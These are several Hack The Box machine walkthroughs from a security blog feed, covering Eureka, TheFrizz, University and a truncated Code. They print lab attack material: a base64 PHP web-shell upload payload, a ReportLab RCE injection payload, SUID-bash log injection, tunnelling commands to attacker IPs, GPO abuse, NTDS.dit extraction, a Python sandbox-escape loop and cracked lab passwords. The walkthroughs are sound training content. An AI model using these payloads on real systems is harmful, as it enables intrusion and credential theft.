The output demonstrates the behavior of the log_analyse.sh script when executed, showing that it processes and reads the contents of application.log. This indicates that the script’s purpose is related to log handling, and analyzing its execution flow could reveal opportunities for manipulation or privilege escalation.

The original file was copied, then deleted, and after restoring it, the file ownership changed from www-data to miranda-wise.

Exploiting Bash SUID for Privilege Escalation

The bash script does not run with root privileges.

A computer screen with text on it AI-generated content may be incorrect.

It defines two target log files located in the user-management-service and cloud-gateway directories, then injects a malicious payload into them. The payload attempts to execute a command substitution by copying /bin/bash to /tmp/bash and setting the SUID bit, effectively creating a root-privileged shell. To achieve this, the script removes the original log files and replaces them with the crafted payload. Once the vulnerable process or script that parses these logs executes the injected content, the attacker gains elevated privileges via the SUID-enabled /tmp/bash.

A computer screen with text AI-generated content may be incorrect.

We then executed the crafted bash file, which replaced the targeted log files with the injected payload, preparing for privilege escalation once the vulnerable service processes the modified logs.

A screenshot of a computer AI-generated content may be incorrect.

Running the script produced no immediate effect, suggesting the logs remained unprocessed or required additional conditions.

A black screen with green and yellow text AI-generated content may be incorrect.

After some time, the injected payload successfully executed and resulted in the creation of a SUID bash binary inside the /tmp directory, allowing privilege escalation. By running ls -l /tmp/bash, the SUID bit could be confirmed, and executing /tmp/bash -p provided a root shell since the binary retains elevated privileges. From there, commands like id could be used to verify root access, and the final step was reading the root.txt file located in the /root directory to obtain the root flag and complete the exploitation.

A black background with green and blue text AI-generated content may be incorrect.

The root flag was retrieved by executing the cat root.txt command.

The post Hack The Box: Eureka Machine Walkthrough – Hard Dificulty appeared first on Threatninja.net.

Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity

✇Threatninja.net
By: darknite
23 August 2025 at 10:58
Reading Time: 11 minutes

Introduction to TheFrizz:

In this write-up, we will explore the “TheFrizz” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on TheFrizz machine:

The goal of this walkthrough is to complete the “TheFrizz” machine from Hack The Box by achieving the following objectives:

User Flag:

We began by exploiting a file upload vulnerability to gain a web shell on the target. From there, we located the config.php file, which contained database credentials. Using these, we accessed the database locally through mysql.exe, extracted a user hash, and successfully cracked it to obtain the password Jenni_Luvs_Magic23. With these credentials, we logged into the web application and discovered a message detailing an upcoming SSH migration, hinting at Kerberos-based authentication. We generated a Kerberos ticket (f.frizzle.ccache), leveraged it to gain SSH access to the system, and ultimately retrieved the user flag by executing type user.txt.

Root Flag:

After escalating privileges using M.SchoolBus and exploiting the SleepGPO via SharpGPOAbuse, we forced the Group Policy to update with gpupdate.exe /force. We then used secretdump to gather credentials and leveraged wmiexec to gain a root-level shell. From there, we accessed and read the root flag using the command type root.txt.

Enumerating the TheFrizz Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oA initial 10.10.11.60

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/thefrizz]
└──╼ $nmap -sC -sV -oA initial 10.10.11.60 
# Nmap 7.94SVN scan initiated Thu Aug 21 20:57:38 2025 as: nmap -sC -sV -oA initial 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up (0.16s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Analysis:

  • Port 22 (SSH): OpenSSH for_Windows_9.5 (protocol 2.0) for secure remote access
  • Port 53 (DNS): Simple DNS Plus
  • Port 80 (HTTP): Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) web server, redirects to http://frizzdc.frizz.htb/home/
  • Port 135 (MSRPC): Microsoft Windows RPC
  • Port 139 (NetBIOS-SSN): Microsoft Windows NetBIOS session service
  • Port 389 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
  • Port 445 (Microsoft-DS): Windows file sharing and Active Directory services
  • Port 464 (kpasswd5): Kerberos password change service
  • Port 593 (NCACN_HTTP): Microsoft Windows RPC over HTTP 1.0
  • Port 3268 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Web Application Exploration on TheFrizz Machine:

This page offers no useful content; the only option available is a Staff Login link located in the upper right corner.

Clicking on the Staff Login redirects to a login page, but we currently do not have valid credentials to proceed with testing.

While examining the framework, I identified it as Gibbon v25.0.00 and found the following three relevant links through online research.

CVE-2023-34598: Local File Inclusion Vulnerability in Gibbon v25.0.0

Gibbon v25.0.0 is susceptible to a Local File Inclusion (LFI) vulnerability, allowing attackers to include and expose the contents of various files within the installation directory in the server’s response. This flaw, identified as CVE-2023-34598, poses a significant risk by potentially revealing sensitive information stored in the affected files.

The proof-of-concept (PoC) for this can be found on GitHub here

However, this LFI is limited to reading non-PHP files, indicating certain restrictions. As shown in the screenshot, we attempted to read gibbon.sql. It appears to be included by default and contains nothing of interest.

Let’s proceed to test this directly on the website.

The page returns blank, which indicates a positive outcome.

Exploiting Web Vulnerabilities: Gaining a Reverse Shell with Burp Suite

It appears promising when viewed in Burp Suite.

We successfully uploaded dark.php to the website using the payload:

img=image/png;dark,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=dark.php&gibbonPersonID=0000000001

Although any file type could be used, we tested specifically with dark.php.

We encountered an error upon execution.

The error displayed in the browser was similar to the one shown above.

We proceeded to test for command execution using the uploaded web shell by sending a request to dark.php with the parameter cmd=whoami (e.g., GET /path/to/dark.php?cmd=whoami or via curl http://target/dark.php?cmd=whoami). If successful, the response should display the current web user. If no output or an error is returned, we will try URL-encoding the command, using alternatives like id or uname -a, and verifying that cmd is the correct parameter used in the PHP payload.

We attempted to run a basic Windows reverse shell through the uploaded web shell, but it failed to execute and did not establish a connection.

Switching to a different reverse shell command/payload produced no response, but this outcome is still useful to note.

We successfully obtained a reverse shell connection back to our system.v

Burp Suite shows the connection assigned to the user w.webservice.

Two privileges are enabled, and one is disabled.

After gaining the shell, review the Gibbon configuration file and confirm that the current working directory is within the root of the entire site.

Database Credentials Extraction

In config.php, we found database credentials indicating an account connected to the database:

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

To avoid using port forwarding, we searched the machine for mysql.exe to interact with the database locally.

MySQL Database Enumeration on TheFrizz Machine

After some searching, we located mysql.exe on the machine.

Executing the SQL command above produced no output or effect.

Therefore, we modified the command to include SHOW DATABASES; to verify accessible databases.

We executed:

.\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SHOW TABLES;"

The output listed several tables, including gibbonperson.

I then focused on the retrieved hash and attempted to crack it for possible credentials.

The extracted hashes, shown above, were used for the cracking attempt.

The cracking attempt failed due to Hashcat’s “separator unmatched” error, indicating an unrecognized hash format.

The hash format likely needs to follow the example shown earlier, ensuring it matches the expected structure for Hashcat to process correctly.

Cracking the hash revealed the password Jenni_Luvs_Magic23.

Staff login enumeration

A screenshot of a computer AI-generated content may be incorrect.

Since the web shell didn’t reveal anything useful, we proceeded to log in to the web application using the cracked credentials and began reviewing its contents.

A screenshot of a computer AI-generated content may be incorrect.

The red option in the upper right corner caught my attention, and after clicking it, the Message Wall section appeared.

A screenshot of a computer AI-generated content may be incorrect.
A screenshot of a computer error AI-generated content may be incorrect.

One of the messages stated: Reminder that TODAY is the migration date for our server access methods. Most workflows using PowerShell will not notice a difference (Enter-PSSession). If you encounter any issues, contact Fiona or Marvin between 8am and 4pm to have the pre-requisite SSH client installed on your Mac or Windows laptop.

Bloodhound enumeration on TheFrizz Machine

To analyse the environment with BloodHound, we used the command mentioned above.

A diagram of a network AI-generated content may be incorrect.

The user F.frizzle belongs to Remote Management Users, Domain Users, and the Users group.

A diagram of a group of circles AI-generated content may be incorrect.

The user M.schoolbuss is a member of Desktop Admins and Group Policy Creator Owners.

The error “Clock skew too great” indicates the password is valid, but the local system clock is out of sync, likely running behind the server’s time.

Even after synchronising the time using ntpdate, the issue persisted, and the connection still failed.

Using the date command to manually adjust the time resulted in the same “Clock skew too great” error.

Using faketime bypassed the clock skew issue, but the process now appears to be stuck when attempting to establish a session with evil-winrm.

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Updating the /etc/krb5.conf file also failed to resolve the issue, and the connection remains unsuccessful.

We successfully generated an f.frizzle.ccache Kerberos ticket.

SSH access to the target system was successfully obtained.

We obtained the user flag by executing the command type user.txt.

Escalate to Root Privileges Access

Privileges Access

An alternative faketime command also worked successfully, as demonstrated earlier.

While exploring the machine, we discovered a ChildItem within the Recycle.Bin folder.

We found two .7z archive files in the Recycle.Bin folder for further analysis.

Move the .7z files to the ProgramData directory to simplify access and analysis.

We were able to transfer files using the nc.cat command, as demonstrated earlier.

The file transfer eventually completes, though it may take a long time—around 2 hours in my case, though the duration may vary for others.

The wapt directory contains numerous files and folders.

I noticed a password that has been encoded using Base64.

As a result, I successfully uncovered a password: !suBcig@MehTed!R.

We can identify the potential user accounts as shown above.

We consolidated all the potential user accounts and credentials into a single file for easier reference.

Many users experienced KDC_ERR_PREAUTH_FAILED errors, but one user (frizz.htb\M.SchoolBus) with password !suBcig@MehTed!R—returned a KRB_AP_ERR_SKEW error.

As before, we executed the same command, but this time replaced F.Frizzle with M.SchoolBus.

Group Policy Exploitation

We created a new Group Policy Object and linked it with the command:

New-GPO -Name SleepGPO -Comment "Sleep is good" | New-GPLink -Target "DC=FRIZZ,DC=HTB" -LinkEnabled Yes

The command creates a new Group Policy Object (GPO) named SleepGPO with a note saying “Sleep is good”. A GPO is basically a set of rules or settings that can be applied to computers or users in a network. The command then links this GPO to the main network domain FRIZZ.HTB, making it active and enforcing the rules or settings defined in it.

We uploaded SharpGPOAbuse onto the victim’s machine to prepare for further Group Policy exploitation.

We used SharpGPOAbuse to elevate privileges by modifying the previously created GPO. The command

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "SleepGPO"

adds the user M.SchoolBus as a local administrator on targeted machines by leveraging the SleepGPO. Essentially, this allows M.SchoolBus to gain administrative rights across the network through the Group Policy.

The command gpupdate.exe /force is used to immediately apply updated Group Policy settings, ensuring that changes made by tools like SharpGPOAbuse take effect on target machines without waiting for the default refresh interval (typically 90 minutes). This forces a refresh of both user and computer policies, applying any new or modified Group Policy Objects (GPOs) instantly.

The command secretdump was executed to extract credential information from the target system, enabling further enumeration and exploitation.

We leveraged wmiexec to execute commands remotely and gain a root-level shell on the target system.

A black background with green text AI-generated content may be incorrect.

We obtained the root flag by accessing the root shell and executing type root.txt.

The post Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Hack The Box: University Machine Walkthrough – Insane Walkthrough

✇Threatninja.net
By: darknite
9 August 2025 at 10:58
Reading Time: 17 minutes

Introduction to University:

The “University” machine on Hack The Box is an insanely difficult Windows Active Directory (AD) challenge that simulates a complex enterprise network. It involves exploiting a web application vulnerability, forging certificates, pivoting through internal networks, and abusing AD privileges to achieve domain compromise. This walkthrough provides a detailed guide to capturing both user and root flags, inspired by comprehensive write-ups like ManeSec’s, with step-by-step commands, full outputs, and troubleshooting tips for all skill levels.

Objectives

  • User Flag: Exploit a ReportLab RCE vulnerability (CVE-2023-33733) in university.htb to gain access as wao, forge a professor certificate to authenticate as george, and upload a malicious lecture to compromise Martin.T.
  • Root Flag: Exploit a scheduled task to execute a malicious .url file, escalate privileges on WS-3 using LocalPotato (CVE-2023-21746), and abuse SeBackupPrivilege to extract NTDS.dit, obtaining the domain administrator’s hash.

Reconnaissance

Reconnaissance identifies services and attack vectors in the AD environment.

Initial Network Scanning

Scan all ports to map services.

Command: 

nmap -sC -sV 10.10.11.39 -oA initial

Output: 

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

Analysis:

  • Port 80: Runs Nginx 1.24.0, likely hosting the main web service and primary attack vector.
  • Ports 88, 389, 445, 464, 3268: Indicate this is a domain controller for the domain university.htb, with Kerberos, LDAP, SMB, and password services active.
  • Port 53: DNS service associated with Active Directory.
  • Port 5985: (Not listed in the scan but commonly present) Typically used for WinRM, enabling remote Windows management.

Web Exploitation

ReportLab RCE (CVE-2023-33733)

Exploit ReportLab’s RCE vulnerability in /profile’s PDF export to gain a wao shell.

When I accessed the web server, I saw a minimalistic and straightforward interface.

A screenshot of a login page AI-generated content may be incorrect.

Navigating to the login page redirected us to an authentication portal. At this stage, no valid credentials were available, so progress could not continuer

A blue background with white text AI-generated content may be incorrect.

Consequently, a new ‘Student’ account was created to further enumerate the application, given that this role appeared to be publicly accessible.

A screenshot of a login form AI-generated content may be incorrect.

Random placeholder information filled the registration fields, as illustrated in the example above

A screenshot of a login screen AI-generated content may be incorrect.

We enter the credentials we created earlier.

A screenshot of a computer AI-generated content may be incorrect.

Once the user logs in successfully, the system displays a dashboard similar to the screenshot above.

A screenshot of a social media account AI-generated content may be incorrect.

The section labelled ‘Profile Export’ appeared promising for exploring potential functionality or vulnerabilities

A screenshot of a computer AI-generated content may be incorrect.

The PDF report uses a clear and concise format, modeled after the examples provided above

Exploiting CVE-2023-33733: Remote Code Execution via ReportLab in university.htb

A screenshot of a computer screen AI-generated content may be incorrect.

While analysing the PDF file, I identified it as a ReportLab-generated document, similar to those encountered during the Solarlab machine engagement

During the SolarLab machine exercise, the exploitation process resembled the steps outlined below

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Therefore, the team retested the exploit on the current machine to confirm its applicability.

A screen shot of a computer AI-generated content may be incorrect.

Let’s start our Python server listener

A screenshot of a computer AI-generated content may be incorrect.

The exploitation method follows the general approach illustrated below

A screenshot of a computer AI-generated content may be incorrect.

The profile was updated successfully.

A screen shot of a computer AI-generated content may be incorrect.

A lack of response from the target indicated a failure

A screenshot of a social media account AI-generated content may be incorrect.

It may be necessary to trigger the action by clicking the “Profile Export” button

A screen shot of a computer AI-generated content may be incorrect.

As expected, triggering the action returned a response.

A screenshot of a computer AI-generated content may be incorrect.

Refined and updated the payload to achieve the intended outcome.

A screen shot of a computer AI-generated content may be incorrect.

We received a response, but the file was missing

A screen shot of a computer AI-generated content may be incorrect.

Let’s start the listener.

A screenshot of a computer AI-generated content may be incorrect.

We executed a Python3 reverse shell script to establish a callback connection.

A screen shot of a computer AI-generated content may be incorrect.

Unfortunately, I received no response from the target

A screenshot of a computer AI-generated content may be incorrect.

I also conducted a test using a Base64-encoded PowerShell command.

A screen shot of a computer AI-generated content may be incorrect.

Once again, there was no response from the target

Troubleshooting and Resolution Steps on University machine

A computer screen shot of a computer AI-generated content may be incorrect.

The team adjusted the command and subsequently tested its effectiveness.

A computer screen with green text AI-generated content may be incorrect.

The callback succeeded this time, returning the shell.py file from the server.

A computer screen with green text AI-generated content may be incorrect.

The result exceeded expectations.

A black background with green text AI-generated content may be incorrect.

Access was successfully obtained for user ‘wao’.

BloodHound enumeration

Since we are using a Windows machine, let’s proceed to analyse BloodHound.

There is a significant amount of information here.

WAO belongs to the Domain Users group, so it inherits the default permissions and access rights assigned to all standard users within the domain.

By examining the browse.w connection, we were able to gather a substantial amount of information.

Enumerate the machine as WAO access on the University machine

A screenshot of a computer AI-generated content may be incorrect.

The only potentially valuable finding at this stage was db.sqlite3, which may contain database information.

In the CA directory, we found three important files: rootCA.crt, which is the root certificate; rootCA.key, the private key associated with the root certificate; and rootCA.srl, a file that tracks the serial numbers of issued certificates. These files are essential components for managing and validating the certificate authority’s trust chain.

Running the command icacls db.sqlite3 displays the access control list (ACL) for the file, showing the users and groups with permissions and the specific rights they hold. This information helps determine who can read, write, or execute the file, providing insight into the security and access restrictions applied to db.sqlite3.

SQLite database enumeration on university machine

Download the db.sqlite3 file to our local machine.

The screenshot above displays the available tables in the database.

Therefore, these hashes can be cracked at a later stage to uncover additional credentials.

Reviewing the Database Backups

A screenshot of a computer screen AI-generated content may be incorrect.

We checked the DB-Backup directory and found a PowerShell script (.ps1 file) that might contain useful information.

A computer screen with green text AI-generated content may be incorrect.

Although the script doesn’t specify a username, it instead runs under the Windows account executing it, and therefore file and application access depend on that account’s permissions. For example, if the user cannot write to C:\Web\DB Backups\ or read db.sqlite3, then the backup will fail. Likewise, running external programs such as 7z.exe also requires the appropriate permissions.

A screenshot of a computer AI-generated content may be incorrect.

After gaining access, I ran whoami /all and confirmed that the current user is wao. This matched the password I had earlier (WAO), which strongly indicates it belongs to this user. Although it’s not best practice, it’s common in misconfigured environments for usernames and passwords to be the same or closely related, which made the guess successful.

The term “Internal-VSwitch1” typically refers to a virtual switch created within a virtualization platform like Microsoft Hyper-V.

An “Internal” virtual switch in Hyper-V does not have an IP address itself; rather, the host’s virtual network adapter connected to that internal switch will have an IP address.

SeMachineAccountPrivilege and SeIncreaseWorkingSetPrivilege are disabled by the system, while SeChangeNotifyPrivilege remains enabled.

Let’s transfer the nmap binary to the victim’s machine

The team successfully executed the nmap scan on the victim’s machine

We encountered an error that required us to use the– unprivileged option for successful execution.

Unfortunately, the command still fails to work even after adding the –unprivileged option.

Therefore, at this point, let’s switch to using an alternative scanning tool like rustscan.

Finally, we successfully identified the open ports for the machines:

  • 192.168.99.12 has port [22] open.
  • 192.168.99.1 has ports [53, 80, 88, 593, 135, 139, 139, 445, 389, 636, 3268, 3269, 5985, 5985] open.
  • 192.168.99.2 has ports [135, 139, 139, 445, 5985, 5985] open.

Stowaway usage

Stowaway serves as a multi-hop proxy tool for security researchers and penetration testers.

It allows users to route external traffic through multiple nodes to reach the core internal network, effectively bypassing internal network access restrictions. Creating a tree-like network of nodes simplifies management and access within complex network environments.

The following commands are available to use:

On our machine 
./linux_x64_admin -l 10.10.16.38:2222 -s 111

On victim's machine
shell windows_x64_agent.exe -c 10.10.14.199:2222 -s 111

Upload the agent onto the victim’s machine.

Run the command I provided earlier.

If the connection is successful, it will appear as shown in the screenshot above.

Therefore, let’s perform port forwarding using the ports we identified earlier.

We can access WS-3 using the credentials obtained earlier.

Access as wao windows

Finally, we successfully gained access.

We also successfully accessed the LAB-2 environment.

The binary we discovered here indicates that we can escalate to root access easily without relying on an exploit.

I presume we have root access inside the Docker container.

Analyze the machine on University machine

Inside the README.txt file, the message reads:

Hello professors,

We have created this note for all users on the domain computers: WS-1, WS-2, and WS-3. These machines have not been updated since 10/29/2023. Since these devices are intended for content evaluation purposes, they must always have the latest security updates. Therefore, it is important to complete the current assessment before moving on to the "WS-4" and "WS-5" computers. The security team plans to begin updating and applying the new security policy early next month.

Kind regards,
Desk Team – Rose Lanosta

There’s nothing of interest that I found inside here related to the LAB-2 environment.

Automation-Scripts on University machine

There is an Automation-Scripts directory that could potentially contain malicious code.

There are two PowerShell (.ps1) files we can examine within the Automation-Scripts directory.

Unfortunately, all access attempts were denied.

The date is displayed above.

The Forgotten Campus – Rediscovering the University Web

A screenshot of a login page AI-generated content may be incorrect.

The login page features a signed certificate.

A Certificate Signing Request (CSR) file is required to proceed further.

Execute the openssl req command.

A CSR file needs to be generated.

Use the following command to sign the CSR and generate the certificate:

openssl x509 -req -in My-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial -out My-Certificate.crt -days 365 -sha256

This command takes the CSR file My-CSR.csr, signs it using the CA’s certificate and key (rootCA.crt and rootCA.key), creates a serial number file if it doesn’t exist (-CAcreateserial), and outputs the signed certificate as My-Certificate.crt valid for 365 days using SHA-256.

Finally, we have provided the george.pem file.

Access as George on dashboard

Use the george.pem file to attempt the login.

Finally, we successfully accessed the system as george.

It will inform you that the signed certificate appears unusual because it is missing. He will then ask you to request a new certificate by uploading the forged professor’s CSR created earlier. Clicking submit triggers the download of a signed document named Professor-Signed-CertificateMy-CSR.csr.

Log out again, then use the signed-cert.pem file to log back in. You should be able to click on “Create a New Course” without encountering any errors.

Create course on dashboard

You can now create a course—just write something, and after creating it, you will find an option at the bottom to add a new lecture.

Lastly, the Course Dashboard is displayed above.

The new course has been created successfully. Check out the Course Dashboard above to explore it.

There are three functions available within course preferences.

Let’s add a new lecture to the course.

Executing the command provided above.

Develop a malicious executable file.

Set up a new folder and upload the malicious file to it.

Generate the passphrase.

The command gpg -u george –detach-sign dark.zip utilizes GPG (GNU Privacy Guard) to generate a detached digital signature for the file dark.zip, ensuring its authenticity and integrity. By specifying the user ID “george” with the -u flag, the command employs George’s private key to create a separate signature file, typically dark.zip.sig, without modifying the original file.

Add a new course here.

The command gpg –export -a “george” > GPG-public-key.asc uses GPG (GNU Privacy Guard) to export the public key associated with the user ID “george” in ASCII-armored format (via the -a flag, making it human-readable text), and redirects the output to a file named GPG-public-key.asc. This file can then be shared for others to import and use for verifying signatures or encrypting messages intended for “george.”

Upload the file to the dashboard.

An error is displayed above stating “Invalid Lecture Integrity.”

Upload the public key here.

Upload the public key successfully

Start the listener in LAB-2.

Access as Martin.T on Lab-2 environment

After a short while, we successfully receive a reverse shell connection.

We successfully gained access to the system as the user martin.t

The user flag has been successfully retrieved.

We can read the user flag by typing type user.txt

Escalate to Root Privilleges Access

Privileges Access

SeChangeNotifyPrivilege is currently enabled, while SeIncreaseWorkingSetPrivilege is disabled in this environment.

Investigate further on University machine

We can retrieve scheduled tasks using the Get-ScheduledTask command.

It has been saved as shown above

There are numerous tasks with the states ‘READY‘ and ‘DISABLED‘.

This system is a virtualized Windows Server 2019 Standard (64-bit) named WS-3, running on an AMD processor under Hyper-V. It has 1.5 GB RAM with limited available memory and is part of the university.htb domain. The server is not using DHCP, with a static IP of 192.168.99.2, and has three security updates installed. The environment runs on Hyper-V virtualization with a UEFI BIOS.

This PowerShell command retrieves all the actions associated with the scheduled task named “Content Evaluator(Professor Simulatorr)” and formats the output as a detailed list showing every property of those actions.

LocalPotato vulnerability

We attempted to execute the LocalPotato exploit, but unfortunately, it failed.

The exploit succeeded when executed using PowerShell

We extracted the system information onto the victim’s machine.

Access as Brose.w privileges

We successfully retrieved the password for the user: v3ryS0l!dP@sswd#X

Let’s access the machine as Brose.W using the credentials we obtained earlier.

All privileges are accessible on this account.

Create a new directory using the appropriate command.

Take advantage of diskshadow

This sequence of PowerShell commands creates a script file named diskshadow.txt for use with the DiskShadow utility, which manages shadow copies (Volume Shadow Copy Service). Each echo command writes a line to the script. The first line sets the shadow copy context to persistent and disables writers to prevent interference. The second line targets the C: volume and assigns it the alias temp. The third line creates the shadow copy, and the last line exposes it as a new drive (Z:) using the alias. This process provides read-only access to a snapshot of the C: drive at a specific point in time. It’s useful for accessing protected or locked files, such as registry hives or system files, without triggering security measures. This technique is often used in system administration and security contexts to safely extract sensitive data from live systems.

The command diskshadow.exe /s c:\zzz\diskshadow.txt runs the DiskShadow utility with a script that creates a persistent shadow copy of the C: drive, assigns it an alias, and exposes it as a new drive for read-only access. This lets users access a snapshot of the drive at a specific time, bypassing file locks and permission restrictions. It’s commonly used in post-exploitation to extract sensitive files like registry hives or credentials without triggering security alerts.

SebackupPrivilege exploit

Identified a website that can potentially be leveraged for privilege escalation.

Upload both files to the victim’s machine.

These commands import modules that enable backup privilege functionality, then use that privilege to copy the sensitive NTDS.dit file—a database containing Active Directory data—from the shadow copy (Z:) to a local directory (C:\dark). This technique allows extraction of critical directory data typically protected by system permissions.

Those files were downloaded to the local machine

Root flag view

We obtained the password hashes for the Administrator account

We can read the root flag by displaying the contents of the type root.txt file.

The post Hack The Box: University Machine Walkthrough – Insane Walkthrough appeared first on Threatninja.net.

Hack The Box: Code Machine Walkthrough – Easy Difficulity

✇Threatninja.net
By: darknite
2 August 2025 at 10:58
Reading Time: 9 minutes

Introduction to Code:

In this write-up, we will explore the “Code” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Code” machine from Hack The Box by achieving the following objectives:

User Flag: Exploit a web application’s code execution vulnerability by bypassing restricted keywords through Python class enumeration. Gain a reverse shell as the app-production user and read the user.txt flag from the user’s home directory.

Root Flag: From the app-production shell, access a SQLite database in the /app directory, extract and crack the martin user’s password, and switch to martin. Identify that martin can run a backup script as root. Create a malicious JSON file to include the /root/ directory in a backup, extract it, and read the root.txt flag.

Enumerating the Code Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Kali Linux virtual machine. The target IP address for the Cypher machine was 10.10.11.62

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.11.62

Nmap Output: 

┌─[dark@parrot]─[~/Documents/htb/code]
└──╼ $nmap -sV -sC -oA initial 10.10.11.62 
# Nmap 7.94SVN scan initiated Mon Jul 21 18:11:21 2025 as: nmap -sV -sC -oA initial 10.10.11.62
Nmap scan report for 10.10.11.62
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 21 18:12:09 2025 -- 1 IP address (1 host up) scanned in 48.11 seconds

Analysis:

  • Port 22 (SSH): Secure Shell service for remote access. It allows administrators to log in and manage the server using encrypted connections securely.
  • Port 5000 (HTTP): A web application is running on this port using Gunicorn 20.0.4, a Python-based web server. The site appears to be a Python Code Editor, according to the page title.

Web Enumeration:

Exploitation

Web Application Exploration:

The web interface includes a code execution feature.

We are attempting to run the following code. However, before executing it, we need to ensure all prerequisites are met. Once these conditions are satisfied, the code can be executed as intended.

import os
print(os.system("echo Hello, world!"))

Results in the following error: “The use of restricted keywords is not permitted.”

Troubleshooting Issues on the Code Machine

To bypass this, enumerate Python classes to access restricted functions:

for i in range(200):
    try:
        cls = ''.__class__.__bases__[0].__subclasses__()[i]
        if hasattr(cls, '__init__') and hasattr(cls.__init__, '__globals__'):
            builtins = cls.__init__.__globals__.get('__buil'+'tins__')
            if builtins and 'ev'+'al' in builtins:
                print(i, str(cls))
    except Exception:
        continue

Python Class Enumeration Output

The following Python classes were identified during enumeration to bypass restricted keywords on the “Code” machine.

Import and Module Classes

# 80 <class '_frozen_importlib._ModuleLock'>
# 81 <class '_frozen_importlib._DummyModuleLock'>
# 82 <class '_frozen_importlib._ModuleLockManager'>
# 83 <class '_frozen_importlib.ModuleSpec'>
# 99 <class '_frozen_importlib_external.FileLoader'>
